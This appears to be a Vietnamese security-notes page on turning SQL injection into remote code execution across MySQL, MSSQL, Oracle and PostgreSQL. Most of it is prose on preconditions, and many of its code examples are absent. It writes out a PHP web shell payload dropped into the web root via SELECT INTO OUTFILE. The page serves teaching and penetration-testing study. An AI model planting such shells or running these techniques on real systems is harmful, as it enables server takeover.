Injection
MySQL
1. SELECT ... INTO OUTFILE
SELECT ... INTO OUTFILEwrites the selected rows to a file. Column and line terminators can be specified to produce a specific output format. Tham khảo
Ví dụ:
-- Linux server
SELECT '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE '/var/www/html/shell.php'
-- Windows server
SELECT '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php'Điều kiện:
User (account mà web app sử dụng để kết nối đến database) phải có quyền FILE privilege
Biến
secure_file_privphải được cấu hình cho phép (empty hoặc trỏ đến thư mục có thể ghi) (MySQL >= 5.5.53 biến này mặc định là NULL --> disable import export operator, còn MySQL < 5.5.53 thì ngược lại) tham khảoBiết đường dẫn thư mục web root của server
2. Sử dụng User Defined Functions (UDF)
User Defined Functions là cách để mở rộng chức năng của MySQL bằng cách tạo các hàm tùy chỉnh từ thư viện động (shared library). UDF cho phép thực thi mã native từ bên trong MySQL.
Ta có 2 cách để upload libc độc hại lên plugin của MySQL
Cách 1:
Ghi đè libc trực tiếp vào plugin của MySQL tại đường dẫn của nó (/usr/lib/mysql/plugin/) như bài sau:
Cách 2:
Ghi dữ liệu của file libc vào folder plugin của Mysql thông qua DUMPFILE
Tham khảo: https://www.exploit-db.com/docs/english/44139-mysql-udf-exploitation.pdf?rss
Ngoài ra thì có thể ghi nó qua các Query:
Cách thức để call function trong libc đó thì chúng đều giống nhau
Đầu tiên là tạo hàm
Cuối cùng là bước thực thi command:
Ngoài ra còn có LOAD_FILE, nó cũng tương tự như INTO DUMPFILE và INTO OUTFILE
Microsoft SQL Server
1. Sử dụng xp_cmdshell để thực thi lệnh hệ thống
xp_cmdshell để thực thi lệnh hệ thống
xp_cmdshelllà một extended stored procedure cho phép thực thi lệnh shell Windows từ bên trong MSSQL. Kẻ tấn công có thể lợi dụng SQLi để kích hoạt nó, dẫn đến RCE với quyền hạn của tài khoản dịch vụ SQL Server (thường là NT AUTHORITY\SYSTEM hoặc NT SERVICE\MSSQLSERVER)Điều kiện:
Tài khoản MSSQL phải có quyền sysadmin (như SA).
xp_cmdshellmặc định bị vô hiệu hóa từ SQL Server 2005 trở lên.Cần kích hoạt qua
sp_configure
Đầu tiên, ta cần kích hoạt xp_cmdshell qua SQLi
Sau đó run command:
Ngoài ra nó còn làm được nhiều kỹ thuật khác như: Drop File, Reverse Shell
2. Khai Thác Qua Các Stored Procedure Khác
Nguyên Lý Hoạt Động
sp_OACreate: Tạo instance của đối tượng OLE (như WScript.Shell), cho phép chạy lệnh hệ thống.
Kết hợp với sp_OAMethod để gọi phương thức như 'run' để thực thi lệnh.
Điều Kiện Thực Hiện
Cần quyền sysadmin để kích hoạt 'Ole Automation Procedures' qua sp_configure.
Chạy với quyền của tài khoản dịch vụ SQL Server (thường cao).
Oracle SQL
1. Tạo và Thực thi Java Stored Procedure

Java Stored Procedure (JSP) là phương thức Java được biên dịch và lưu trữ bên trong cơ sở dữ liệu Oracle. Oracle cho phép tạo Java stored procedure, qua đó có thể gọi các hàm Java để thực thi lệnh hệ thống với câu lệnh SQL
Điều kiện:
Tài khoản phải có quyền CREATE PROCEDURE và JAVA, hoặc đủ quyền DBA.
Oracle JVM (Java Virtual Machine) phải khả dụng trên database.
Trong môi trường production, quyền này thường chỉ có ở SYSDBA hoặc các user đặc biệt.
Ví dụ:
Đây là cách tạo hàm Java thực thi command cmd:
Tạo wrapper PL/SQL procedure để gọi hàm Java đó
Sau đó execute hàm run_os_cmd:
2. Lạm Dụng Các Gói PL/SQL Được Cấp Quyền
Oracle cung cấp một số package PL/SQL như
UTL_FILE,UTL_HTTP,UTL_SMTP,DBMS_SCHEDULERcho phép thao tác với hệ thống file, gửi request HTTP, hoặc lập lịch tác vụ.
UTL_FILE
Ví dụ tạo file WebShell.
Cần user được cấp quyền ghi file.
UTL_HTTP hoặc UTL_INADDR
Ví dụ với Out-Of-Band
DBMS_SCHEDULER/DBMS_JOB
Ví dụ tạo shell script được lên lịch sẵn
Thường chỉ user quyền cao mới dùng được
PostgreSQL
Ta có 3 nhóm kỹ thuật thường gặp:
1. Ghi tệp/đọc tệp rồi import libc C
Điều kiện
Tài khoản superuser hoặc chỉ cần
CREATE FUNCTION+ quyền ghi thư mục đích (quaCOPY/lo_import).Phiên bản ≤ 13 dễ khai thác hơn do ít ràng buộc đường dẫn thư viện.
Đối với kỹ thuật này, đầu tiên ta cần ghi .so/.dll lên server bằng COPY ... TO hoặc thả trực tiếp vào bảng: pg_largeobject > lo_export()
Sau đó, export function sys_exec(nếu tồn tại) trong file libc:
Cuối cùng là call function sys_exec vừa tạo là xong
2. COPY ... PROGRAM
PostgreSQL 9.3 → 12.3
Điều kiện:
Superuser hoặc role được gán
pg_execute_server_program(PostgreSQL 14+).
Ví dụ:
3. Privilege Escalation -> RCE
Ta thường gặp trở ngại khi RCE thì cần phải có acc superuser. Nhưng ta có thể làm theo hướng sau
Leo quyền bằng lỗ hổng CVE-2024-2338 để biến role thành superuser

Sau đó thực hiện cách (1) và (2)
Last updated
Was this helpful?

